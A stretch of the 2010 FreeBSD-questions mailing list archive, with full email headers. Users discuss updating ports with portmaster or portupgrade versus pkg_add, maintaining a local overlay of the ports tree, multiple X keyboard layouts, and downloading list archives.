with the ports tree (as they are > centrally built from the ports tree). I checked /var/db/pkg; I have 464 ports installed on my system (including X). I would probably not do so. > What about using freebsd-update? It delivers patches in binary > form for the OS, so you don't need to make world and kernel, > and if you're following the 8.x-RELEASE-p track, you don't > have to recompile your whole software ports - as it has been > mentioned, this is only needed if you update the major version > number (e. g. 7.2 -> 8.0). Once I used binary upgrade from 6.2 -> 6.3. The source tree was still 6.2 while the system was 6.3. I know there are no problems with the system. But it is *untidy*, I don't want to. > > I upgrade ALL FREQUENT used ports and ALL related libraries required by them. > > Programs like portmaster can be really helpful here. Yes, it is what I am expecting. Thank you. I read the handbook. There are 2 choices i.e. portmanager and portmaster. I am now thinking which one is better. I must also check time and disk space required to build all these ports. > Oh yes, the joy if you want to have a german OpenOffice version, > where you could run "pkg_add -r de-openoffice" in the past... :-) > I know what you mean, I try to avoid compile orgies whenever > possible, at least on my home system. On servers which usually > don't have GUI stuff, but services that need updates often due > to security considerations, it's not a big deal.) I have nothing to do with Office suite. I might probably not do so, thanks. > The ISO images are tied to a specific OS version, and they can > be used with it without problems. You can run into trouble when > upgrading the OS, and then try to install software from a CD > that expects another OS version. I have never installed any softwares from CD/DVD. I install from CD only when I want to wipe out everything. And install a new fresh system. > Using "pkg_add -r" offers the same comfortability as installing > software from local CD or DVD, but it's usually "up to date" and > "fits better" to the ports tree - which is useful when you > install software both from source and from binaries. If I choose between packages and ports, I opt ports. As previously mentioned ``portmaster'' or ``portmanager'' should be helpful. Please give some comments, which one is better. I read from handbook; but I have never used it. I don't know so much in this area. It is system specific and not part of the standard (POSIX or SUS). Note: I'm just a hobbyist not pro. :-) Thanks, Pongthep From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 07:46:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D7A4106564A for ; Sun, 7 Mar 2010 07:46:14 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id A94238FC08 for ; Sun, 7 Mar 2010 07:46:13 +0000 (UTC) Received: from r55.edvax.de (port-92-195-36-164.dynamic.qsc.de [92.195.36.164]) by mx02.qsc.de (Postfix) with ESMTP id A38661E725; Sun, 7 Mar 2010 08:46:12 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o277kB7Y002053; Sun, 7 Mar 2010 08:46:11 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sun, 7 Mar 2010 08:46:11 +0100 From: Polytropon To: Pongthep Kulkrisada Message-Id: <20100307084611.75b68f9e.freebsd@edvax.de> In-Reply-To: <20100307072957.GA8366@gmail.com> References: <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> <20100307043004.GA3528@gmail.com> <20100307061025.a6d1c0de.freebsd@edvax.de> <20100307072957.GA8366@gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd Mailing Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 07:46:14 -0000 On Sun, 7 Mar 2010 14:29:57 +0700, Pongthep Kulkrisada wrote: > I checked /var/db/pkg; I have 464 ports installed on my system (including X). > I would probably not do so. The pkg_add utility is especially useful when building a new installation from scratch, because it additionally automatically installs dependencies. For example, "pkg_add -r xmms" would finally even install X from precompiled binaries, which is much faster than compiling everything by hand (or even by using portmaster). But for some things, there aren't packages available, and if you need to compile something, trouble may start. > Once I used binary upgrade from 6.2 -> 6.3. > The source tree was still 6.2 while the system was 6.3. > I know there are no problems with the system. > But it is *untidy*, I don't want to. In such a case, you have to use freebsd-update for the system AND c(v)sup for the sources, to keep them in sync. Some programs that you can compile from ports do rely on system sources. > Yes, it is what I am expecting. Thank you. > I read the handbook. There are 2 choices i.e. portmanager and portmaster. There are even more, but those two seem to be the most popular ones. > I am now thinking which one is better. I have used portupgrade / portinstall in the past, but I think portmaster really is the way to go, at least for me, and for now. In /usr/ports/UPDATING, instructions on how to solve certain problems are given for portupgrade, too. It can furthermore handle creating bianry packages (-p), if you want to transfer something you've built from one system to another, as well as an option to NOT compile, but use binary packages (as pkg_add -r) instead (-P and -PP). There are other options that are powerful when processing "all installed ports" in an automated manner. > I must also check time and disk space required to build all these ports. Those are valid considerations. Time is the less important, let the update run while you sleep, the computer won't notice that you're not infront of it. :-) > I have never installed any softwares from CD/DVD. > I install from CD only when I want to wipe out everything. > And install a new fresh system. Okay, I misunderstood. By the way, that's my common way of doing a fresh install, too: Boot from CD, install base system, configure basic things, update sources and ports, and regarding on the usage, use freebsd-update + pkg_add or make for system and ports. > If I choose between packages and ports, I opt ports. If your system is not older than a few years, I would say the same. For older systems where you just can't afford compiling everything (e. g. 24h for just kernel + world), then using precompiled binaries is much more comfortable. > As previously mentioned ``portmaster'' or ``portmanager'' should be helpful. > Please give some comments, which one is better. Well... portupgrade isn't bad, but I think portmaster is better, especially because it doesn't involve a "huge" scripting language as a dependency. And as far as I've experienced, it can do everything needed. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 08:45:44 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7CC2A1065670 for ; Sun, 7 Mar 2010 08:45:44 +0000 (UTC) (envelope-from cyberleo@cyberleo.net) Received: from paka.cyberleo.net (paka.cyberleo.net [66.219.31.21]) by mx1.freebsd.org (Postfix) with ESMTP id 5C8288FC1D for ; Sun, 7 Mar 2010 08:45:44 +0000 (UTC) Received: from [172.16.44.14] (h-74-2-96-2.chcgilgm.static.covad.net [74.2.96.2]) by paka.cyberleo.net (Postfix) with ESMTPSA id 5B7B528418 for ; Sun, 7 Mar 2010 03:45:43 -0500 (EST) Message-ID: <4B9367B5.4000704@cyberleo.net> Date: Sun, 07 Mar 2010 02:45:41 -0600 From: CyberLeo Kitsana User-Agent: Thunderbird 2.0.0.23 (X11/20091109) MIME-Version: 1.0 To: FreeBSD Questions X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Ports overlay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 08:45:44 -0000 Hi! By necessity and convenience, I have developed a series of additions and changes to the ports tree. These changes are probably not worthy of inclusion into the official tree, so I'm looking to maintain an overlay, of sorts, in the spirit of Gentoo's overlay capability. Is there an official method of hooking changes into a ports tree, while maintaining the ability to csup or portsnap the unmodified version? How do others tackle this particular problem? Thanks! -- Fuzzy love, -CyberLeo Technical Administrator CyberLeo.Net Webhosting http://www.CyberLeo.Net Furry Peace! - http://wwww.fur.com/peace/ From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 09:02:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 214A1106566B for ; Sun, 7 Mar 2010 09:02:01 +0000 (UTC) (envelope-from erikt@midgard.homeip.net) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id D1CC08FC14 for ; Sun, 7 Mar 2010 09:02:00 +0000 (UTC) Received: from c83-255-48-78.bredband.comhem.se ([83.255.48.78]:57232 helo=falcon.midgard.homeip.net) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1NoCN3-0006MA-6G for freebsd-questions@freebsd.org; Sun, 07 Mar 2010 10:02:00 +0100 Received: (qmail 6729 invoked from network); 7 Mar 2010 10:01:50 +0100 Received: from owl.midgard.homeip.net (10.1.5.7) by falcon.midgard.homeip.net with ESMTP; 7 Mar 2010 10:01:50 +0100 Received: (qmail 68720 invoked by uid 1001); 7 Mar 2010 10:01:50 +0100 Date: Sun, 7 Mar 2010 10:01:50 +0100 From: Erik Trulsson To: CyberLeo Kitsana Message-ID: <20100307090149.GA68656@owl.midgard.homeip.net> References: <4B9367B5.4000704@cyberleo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B9367B5.4000704@cyberleo.net> User-Agent: Mutt/1.5.20 (2009-06-14) X-Originating-IP: 83.255.48.78 X-Scan-Result: No virus found in message 1NoCN3-0006MA-6G. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1NoCN3-0006MA-6G 9a21297d5b8964538ea3c58611da011e Cc: FreeBSD Questions Subject: Re: Ports overlay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 09:02:01 -0000 On Sun, Mar 07, 2010 at 02:45:41AM -0600, CyberLeo Kitsana wrote: > Hi! > > By necessity and convenience, I have developed a series of additions and > changes to the ports tree. These changes are probably not worthy of > inclusion into the official tree, so I'm looking to maintain an overlay, > of sorts, in the spirit of Gentoo's overlay capability. > > Is there an official method of hooking changes into a ports tree, while > maintaining the ability to csup or portsnap the unmodified version? How > do others tackle this particular problem? I don't know if there is any "official" method, but the method I use to keep local changes in the ports tree is as follows: I use cvsup to maintain a local copy of the whole repository, and then use cvs to checkout/update the ports tree from that copy of the repository. cvs knows how to detect and keep local changes. The disadvantage of this method is that updating the ports tree will be slower. The advantage is much increased flexibility in maintaining local changes or checking the history of any file. -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 09:47:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 880CB106564A for ; Sun, 7 Mar 2010 09:47:23 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id DD4F48FC0A for ; Sun, 7 Mar 2010 09:47:22 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o279lEvY041957 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sun, 7 Mar 2010 09:47:15 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B937622.2030704@infracaninophile.co.uk> Date: Sun, 07 Mar 2010 09:47:14 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: CyberLeo Kitsana References: <4B9367B5.4000704@cyberleo.net> In-Reply-To: <4B9367B5.4000704@cyberleo.net> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: FreeBSD Questions Subject: Re: Ports overlay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 09:47:23 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 07/03/2010 08:45:41, CyberLeo Kitsana wrote: > By necessity and convenience, I have developed a series of additions and > changes to the ports tree. These changes are probably not worthy of > inclusion into the official tree, so I'm looking to maintain an overlay, > of sorts, in the spirit of Gentoo's overlay capability. > > Is there an official method of hooking changes into a ports tree, while > maintaining the ability to csup or portsnap the unmodified version? How > do others tackle this particular problem? Yes, you can add your own local ports or even whole categories of local ports without too much difficulty. You can even add some tweaks to an existing port -- you don't have complete freedom to do anything there, but you can do quite a lot. If you create a Makefile.local at any level in the ports tree it will be included alongside the usual Makefile. This means you can override a lot of the available settings at will. So, if you create /usr/ports/Makefile.local with the contents: SUBDIR+=myports then you can create a directory /usr/ports/myports and put your own ports inside it -- you'll need a /usr/ports/myports/Makefile just like the other category directories. Similarly, if you prefer to mix your own stuff more intimately with the rest of the ports tree, you could create /usr/ports/devel/Makefile.local with the contents: SUBDIR+=myfunkyport SUBDIR+=myotherport and then create /usr/ports/devel/{myfunkyport,myotherport} Finally, you can put a Makefile.local into a port directory, and use it to override settings specific to that port. This is probably not very useful except in limited circumstances. Another handy thing to do is create eg. file/patch-foo to contain local patches against the upstream sources. Makefile.local is intended for local customizations like this, but there are also Makefile.inc and Makefile.${ARCH}, Makefile.${OPSYS}, Makefile.${OPSYS}-${ARCH} which will similarly be automatically included if present (and if the ARCH and OPSYS settings match.) Now, all of this is at risk of clashing with future updates to the ports tree -- you're going to have to maintain it yourself, and cope with ports being deleted or moved around. Creating your own separate category as shown first will give you the best separation and probably the least maintenance hassles. If you want to modify an existing port, probably the best approach is to create your own slave port -- see the docco on MASTERDIR in the Porter's Handbook and look at eg. games/freeciv-nox11 for about the simplest possible example. It's not fool proof -- some modifications will always need support in the master port's Makefile, but there's a lot you can do without that. Because this entails inserting files into the ports tree, you need to take some thought as to how to avoid wiping out your changes when updating the ports tree. Extra files are generally ignored by csup(1), but portsnap(1) will blow them away. You could get creative using unionfs (see mount_unionfs(8)) or you could go for the option of maintaining a local CVS repository with your mods on a separate branch. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuTdiIACgkQ8Mjk52CukIwZywCfWlIIgmGwv0XFlL5DUKVkBUHj eUcAnitEuL17dXeH7EHqnX0TjXEQqPGX =gZy6 -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 10:01:56 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9FC911065672 for ; Sun, 7 Mar 2010 10:01:56 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from kraid.nerim.net (kraid.ipv6.nerim.net [IPv6:2001:7a8:1:1::95]) by mx1.freebsd.org (Postfix) with ESMTP id 479328FC15 for ; Sun, 7 Mar 2010 10:01:56 +0000 (UTC) Received: from [192.168.1.1] (kikinovak.pck.nerim.net [213.41.141.252]) by kraid.nerim.net (Postfix) with ESMTP id C3A6ECF176 for ; Sun, 7 Mar 2010 11:01:54 +0100 (CET) Message-ID: <4B937A1E.5010305@kikinovak.net> Date: Sun, 07 Mar 2010 11:04:14 +0100 From: Niki Kovacs User-Agent: Thunderbird 2.0.0.22 (X11/20090625) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Introduction X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 10:01:56 -0000 Hi, I'm an Austrian sysadmin living in Montpezat (South France). I'm 100% GNU/Linux since 2001, I started out with Slackware 7.1, then after a few years of using Slackware and Debian, I moved to CentOS in 2006, a clone of Red Hat Enterprise Linux. I'm running a one-man computer company (Microlinux: http://www.microlinux.fr) spezialized in computer solutions based on GNU/Linux and FOSS. Up until now, I never gave FreeBSD a try, but sometimes I used to stumble over the documentation, and I always thought: heck, this is how an operating system should be documented. I even went so far as to be almost jealous of the handbook, and wishing there was something similar for Linux (so I went and even wrote one: http://tinyurl.com/no254g) But a few days ago I decided to take the plunge. No, not migrate all my machines to FreeBSD. But I have two old NEC PowerMates in my office, for teaching and testing purposes, and I decided to download FreeBSD 8.0, do a lot of RTFM and just play with it and see if I can make it do all the things I'm doing with Linux (and maybe more). More recently, I've been attracted by the more centralized (and way less chaotic) development model of FreeBSD. So far, after reading chapters 1 to 5 from the fine Handbook, I managed to install FreeBSD, configure X11 and install XFCE. This all raised a few questions, so I thought my next move would be to say hello in this list and ask my questions here, very soon. Cheers from the freezing South of France, Niki Kovacs From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 10:06:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4A003106566C for ; Sun, 7 Mar 2010 10:06:58 +0000 (UTC) (envelope-from contact@kikinovak.net) Received: from maiev.nerim.net (maiev.ipv6.nerim.net [IPv6:2001:7a8:1:1::89]) by mx1.freebsd.org (Postfix) with ESMTP id E5CF38FC0C for ; Sun, 7 Mar 2010 10:06:57 +0000 (UTC) Received: from [192.168.1.1] (kikinovak.pck.nerim.net [213.41.141.252]) by maiev.nerim.net (Postfix) with ESMTP id 8E97DB81B3 for ; Sun, 7 Mar 2010 11:06:56 +0100 (CET) Message-ID: <4B937B4C.3030702@kikinovak.net> Date: Sun, 07 Mar 2010 11:09:16 +0100 From: Niki Kovacs User-Agent: Thunderbird 2.0.0.22 (X11/20090625) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Configure X: multiple keyboard layouts ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 10:06:58 -0000 Hi, I'd like to configure X for multiple keyboard layouts, e. g.: - french - swiss french - german On my Linux box (running CentOS 5.4 and a dated version of X.org), the configuration for this looks like this : Section "InputDevice" Identifier "Keyboard0" Driver "kbd" Option "XkbModel" "pc105" Option "XkbLayout" "fr,ch,de" Option "XkbVariant" ",fr," Option "XkbOptions" "grp:alt_shift_toggle" EndSection This stanza enables me to toggle between different keyboard layouts, using the [Alt]+[RightShift] key combination. You might wonder about the XkbVariant option: the swiss keyboard layout has two variants: fr and de. This is to indicate the swiss roman layout. Now is there any way I could achieve a similar thing with the more recent X.org shipping with FreeBSD 8.0 ? Any suggestions ? Niki Kovacs From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 10:12:43 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DD2BF106566B for ; Sun, 7 Mar 2010 10:12:43 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.156]) by mx1.freebsd.org (Postfix) with ESMTP id 6FA1F8FC29 for ; Sun, 7 Mar 2010 10:12:43 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so1490005fge.13 for ; Sun, 07 Mar 2010 02:12:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=rAdv9/THBD3u1Sg66sPGLoftn0BnmMhgePfrSmVIJto=; b=cImws587N9fVNNXFyD2RPQWRysiGq6nIBgoG7Z0FOOZeHQJ0d7TyMxh4TB2WkFw/vf s0bS7y0WGEX5p5j086LIi2FZ1hoOJh5fYEqm0V8mXm0FB96Mieui9ct/bPK3rk4lEhlQ zW70PN2cJSiFqXGUwgkE1ui/UGpNlvbm9Tzeo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=hbnGiXGNbQtJdFgtTlSb7ZLdMK61Z+Hvj4WPmuZodThSd7mQ08vyImKiEWdYDoWfjl kj5DYHJ/sKPtSxpdQchCZgmDV2slb942D0n51N9eaGUObbA8j3bJz70J69Ehe8g2z+QG R1dP4ivvZlzv2Hrp5KMyNCuynMDg48GQ19ckY= MIME-Version: 1.0 Received: by 10.239.189.140 with SMTP id t12mr276942hbh.146.1267956762211; Sun, 07 Mar 2010 02:12:42 -0800 (PST) In-Reply-To: References: <20100305120021.52F79106566B@hub.freebsd.org> <20100306044916.ce02523e.freebsd@edvax.de> <20100306080358.GE9762@amd.catfish.ddns.org> <20100306092541.1b0c279b.freebsd@edvax.de> From: Eitan Adler Date: Sun, 7 Mar 2010 12:12:22 +0200 Message-ID: To: "C. P. Ghost" Content-Type: text/plain; charset=ISO-8859-1 Cc: Polytropon , freebsd-questions@freebsd.org Subject: Re: Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 10:12:43 -0000 On Sat, Mar 6, 2010 at 1:07 PM, C. P. Ghost wrote: > On Sat, Mar 6, 2010 at 9:25 AM, Polytropon wrote: >> On Sat, 6 Mar 2010 09:03:58 +0100, Sabine Baer wrote: >>> Well, it is, indeed. Me I am very glad beeing able to do eg >>> linux-opera -display :0 http://www.youtube.com/watch?v=bhmf4l4OxNw >>> since I live in a Windows free zone at home. >> >> Well, there's always "youtube-dl -a" for that. Just for YT >> I don't need "Flash". > > That's true. I love youtube-dl too, as it helps me keep a local > .flv copy, even for videos that have been removed for one reason > or another. > > However, there are other video sites like dailymotion. What > downloader do you use for these? > > And remember, youtube-dl is a hack. It can break anytime > YT changes its embedding. I wished YouTube would switch > to HTML5, or at least added this as an option. > They do http://www.youtube.com/html5 From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 11:08:34 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DE05D1065670 for ; Sun, 7 Mar 2010 11:08:34 +0000 (UTC) (envelope-from a_best01@uni-muenster.de) Received: from zivm-exrelay1.uni-muenster.de (ZIVM-EXRELAY1.UNI-MUENSTER.DE [128.176.192.14]) by mx1.freebsd.org (Postfix) with ESMTP id 7207A8FC22 for ; Sun, 7 Mar 2010 11:08:33 +0000 (UTC) X-IronPort-AV: E=Sophos;i="4.49,597,1262559600"; d="scan'208";a="298467902" Received: from zivmaildisp1.uni-muenster.de (HELO ZIVMAILUSER04.UNI-MUENSTER.DE) ([128.176.188.85]) by zivm-relay1.uni-muenster.de with ESMTP; 07 Mar 2010 12:08:32 +0100 Received: by ZIVMAILUSER04.UNI-MUENSTER.DE (Postfix, from userid 149459) id 8FAF31B07C1; Sun, 7 Mar 2010 12:08:32 +0100 (CET) Date: Sun, 07 Mar 2010 12:08:32 +0100 (CET) From: Alexander Best Sender: Organization: Westfaelische Wilhelms-Universitaet Muenster To: Dan Nelson Message-ID: In-Reply-To: <20100307043845.GB12122@dan.emsphone.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: mailing list archive as mbox X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 11:08:34 -0000 Dan Nelson schrieb am 2010-03-07: > In the last episode (Mar 07), Alexander Best said: > > hi there, > > what are the steps i need to perform to get a copy of the entire > > mailingslist > > archive of lets say freebsd-current@ in mbox format? > Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/ > where you > can download weekly gzipped archives of all the mailing lists since > their > creation. thanks for the hint, but it would take hours to download all those gzipped files, extract them and merge them. i really need ALL the messages of a mailinglist. of course i could use the gzipped files you mentioned if i had some script for downloading extracting and merging all those files for me. alex From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 11:32:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 92386106566C for ; Sun, 7 Mar 2010 11:32:46 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp109.prem.mail.ac4.yahoo.com (smtp109.prem.mail.ac4.yahoo.com [76.13.13.92]) by mx1.freebsd.org (Postfix) with SMTP id 328388FC08 for ; Sun, 7 Mar 2010 11:32:45 +0000 (UTC) Received: (qmail 58421 invoked from network); 7 Mar 2010 11:32:45 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=fsVS1CH8lqKdXmVnl5MZBS8+jtKuAcYCNEs993+QctyBhtY5epJ8t+/JyN7nYh2C9JMUcnTa1EyxOmiD4FzlY6fA/4trcl1YW8MsQHtkro/maYiZNqdmYxQSfsDw2Hk16kyj0YcGwDAm83MM+J5ANR/tHEfhUtumxTMRQFGtLnQ= ; Received: from c-67-189-160-65.hsd1.ny.comcast.net (gesbbb@67.189.160.65 with login) by smtp109.prem.mail.ac4.yahoo.com with SMTP; 07 Mar 2010 03:32:45 -0800 PST X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: fckixaIVM1kxi49QrqHHbCqrxms71emX7naM9qZbIZhP28flk58.DHlLRjprXllYmUi0FPA1iAg1E8ouRtPnIi5aUBepsgrndcm_zGe3APDyjg7tA7mXBWy2PIbO2jVyRxdlN.3dzZyCi2gA5HXNvCjWU6aoHHuDgEdmKVZJGMG9MziSeuBS8qyvbsvO04LPNqXTD10sU8RFpGCHjgIBNM8vgecaEAFLQINL9aXEWEgnvE6CFJausv.MJFge6xZ.w9aOJQ.jxMq8WH0tZpKcPkFugzWM9eqer70NpRIdZ6ysqXqLBadrDi8O3ef6T3GOfdLYF084VvFjgF2gRalwgQ-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id D0BCC22825 for ; Sun, 7 Mar 2010 06:32:44 -0500 (EST) Date: Sun, 7 Mar 2010 06:32:44 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20100307063244.43e91605@scorpio.seibercom.net> In-Reply-To: <20100307072957.GA8366@gmail.com> References: <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> <20100307043004.GA3528@gmail.com> <20100307061025.a6d1c0de.freebsd@edvax.de> <20100307072957.GA8366@gmail.com> Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: 